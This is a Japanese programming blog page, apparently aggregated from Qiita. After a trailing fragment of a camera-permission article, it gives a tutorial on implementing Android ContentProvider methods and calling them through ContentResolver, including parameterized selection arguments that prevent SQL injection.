                .setMessage("カメラの権限が必要です")
                .show()
    }
}

  1. 許可した際には今後表示されないので、当然と言えば当然ですね。 

  • このエントリーをはてなブックマークに追加
  • Qiitaで続きを読む

【Android/Kotlin】ContentProviderの挿入・削除・更新

ContentProviderとは

 ContentProviderはデバイスのストレージにあるDB(データーベース)にアクセスし、データを管理する為に使用されます。具体的には、自身のアプリでDBを使ったり、他アプリのDB(連絡先など)を流用したい時です。今となっては他のアプリと連携させたアプリなど往々にして存在しますが、そのような機能の一端を担えるのがこのContentProviderです。 ContentProviderを導入するか否かの指針については公式のドキュメントに記述があります。以下がその項目です。
・検索フレームワークを用いてカスタム検索候補を提供する。
・アプリデータをウィジェットに公開する
・他のアプリに複雑なデータやファイルを提供する。
・AbstractThreadedSyncAdapterクラス(デバイスとサーバとの間でデータを転送するタスクのコードのカプセル化に使う)、CoursorAdapter(カーソルとビューの架け橋を担う)、CorsorLoader(カーソルからデータを取得する)を使う。
 これらの項目に当てはまる状況の時、ContentProviderが推奨されているようです。

ContentProviderクラス

ContentProviderを実際に使うには、ContentProviderクラスを実装したクラスを用意することが必要です。そのインスタンスは様々な処理を経て、デバイスのデータへアクセスすることが可能になります。その際に用いられるメソッドとして、6つの必須メソッドが存在します。以下でそのそれぞれについて解説していきます。

query()

 このメソッドはプロバイダからデータを取得する際に使用されます。実装すると以下のようになるはずです。

override fun query(
        uri: Uri,
        projection: Array<out String>?,
        selection: String?,
        selectionArgs: Array<out String>?,
        sortOrder: String?
    ): Cursor? {
    }

引数それぞれについて解説していきます。uriはqueryメソッドを使って取り出したいデータがあるデータベースのURIです。具体的には、content://パッケージ名.provider/テーブル名で該当するテーブルに、content://パッケージ名.provider/テーブル名/IDで該当するテーブルの該当するIDを持つ行にアクセスすることが出来ます。projectionは対象とするテーブルのカラム名を持つ文字列配列で、queryはここで指定したカラムのデータのみを取得します。selectionはSQLのWHERE文における、WHERE =に続く文字列を渡してあげることで、テーブルに対してWHERE文を使ってデータの選択を行うことが出来ます。selectionArgsselectionと同じ類のものですが、SQLインジェクションを防ぐためのもので、selectionと連携して使います。本筋とはズレてしまうので、詳しい説明は割愛で。setOrderは取得したデータにおける行の順番を入れ替えることが出来ます。ORDER BYに相当する指定を行うことが可能で、例えばCOLUMN_NAME ASCという文字列を渡したとすると、返ってくるデータはCOLUMN_NAMEというカラムが昇順になるよう順番が入れ替えられます。
 このメソッドの返り値はCursorオブジェクトです。

insert()

 このメソッドはプロバイダに対して新しい行を挿入する時に使われます。非常にシンプルに扱うことが出来ます。

override fun insert(uri: Uri, values: ContentValues?): Uri? {}

uriqueryと同じく、データを挿入したいテーブルのURIを渡してあげます。valueContentValuesのオブジェクトで、データベースに挿入したいデータをカラムの名前とデータのペアで保持します。ContentValuesがNullableなように、この値はnullになることが可能です。
 返り値は新しく挿入されたアイテムのURIです。具体的には、先ほど説明した末尾がIDのタイプのURIです。もしデータの挿入が上手く行かなかったら、この値はnullになります。

update()

 このメソッドはプロパイダ内の既存の行を更新します。引数で更新する行の細かな指定が可能です。

override fun update(
        uri: Uri,
        values: ContentValues?,
        selection: String?,
        selectionArgs: Array<out String>?
    ): Int {

引数はほぼほぼqueryメソッドと同じです。唯一異なるのはvaluesがある点です。しかし、valuesに関してはinsertメソッドで説明したものと大体同じで、更新に使われるデータを渡します。
 返り値は実際に更新した行の数をInt型で渡してくれます。

delete()

 プロパイダから行を削除する為に使用されます。

override fun delete(uri: Uri, selection: String?, selectionArgs: Array<out String>?): Int 

引数や返り値に関してはupdateメソッドとほぼ同じです。valueが引数にない点だけ異なります。

getType()

 与えられたURIに対するMIMEタイプを返します。

override fun getType(uri: Uri): String?

MIMEタイプとは、拡張子と対になるような概念で、.pngというファイルならimage/pngというMIMEタイプを持ち、データの種類を表してくれます。どのような場面で必要になるかというと、ContentProviderを通してやり取りを行うデータに画像や文字列が混在する時、このメソッドを用いてそのそれぞれの処理を分けることが可能です。返り値は先述したように、MIMEタイプを文字列で返してくれます。

onCreate()

 プロパイダを初期化するメソッドです。プロバイダが作成された時、Androidシステムがこのメソッドを即座に呼び出してくれます。

override fun onCreate(): Boolean {
        Log.d(TAG, "onCreate: starts")
        return true
    }

 このメソッドはデータベースとやり取りを行ったり、ユーザーに何かを提供したりといった事はありません。リファレンスに極力冗長にならないようにと書かれているように、不用意にコードを書くとプロバイダの起動が遅くなってしまいます。返り値はtrueを返せば正常に動作します。

ContentResolver

 ContentProviderを実装したクラスだけでは当然データのやり取りを行うことは出来ません。データのやりとりを行わせたいアクティビティで、ContentResolverづてにContentProviderのメソッドを呼び出す必要があります。とはいってもそこまで複雑ではなく、単純なやり取りであれば非常に簡単なコードで済みます。以下は挿入・削除・更新の簡単な例です。

private fun testInsert() {
        val values = ContentValues().apply {
            put(Column_NAME, "INSERT")
        }

        val uri = contentResolver.insert(TEST_URI, values)
    }

private fun testUpdate() {
        val values = ContentValues().apply {
            put(Column_NAME, "UPDATE")
        }

        val selection = "Colimn_NAME" + " = ?"
        val selectionArgs = arrayOf("INSERT")

        val rowsAffected = contentResolver.update(TEST_URI, values, selection, selectionArgs)
    }

private fun testDelete() {

        val selection = "Column_NAME" + " = ?"
        val selectionArgs = arrayOf("UPDATE")

        val rowsAffected = contentResolver.delete(TEST_URI, selection, selectionArgs)
    }

どのメソッドも、ContentResolverを使ってクエリをDBに送っていることが何となくわかると思います。このように、ContentProviderでの実装はContentResolverを経由して扱います。
 具体的に各メソッドの説明をします。testInsertメソッドはColumn_NAMEというカラムにINSERTという文字列を持つ新たな行を挿入するためのメソッドです。testUpdateColumn_NAMEINSERTという行全てをUPDATEという文字列に更新します。testDeleteColumn_NAMEUPDATEという行を全て削除します。
 selectionselectionArgsは↑のように使ってあげることで、SQLインジェクションを防ぐ事が出来ます。selection?が順にselectionArgsの配列に格納されます。WHERE =に続くSQL文において、実際に指定する値についてはselectionArgsに格納しているだけです。
 これらのメソッドをアクティビティで使ってあげるだけで、簡単にプロバイダの操作が出来ます。ぜひ参考にしてみてください。

  • このエントリーをはてなブックマークに追加
  • Qiitaで続きを読む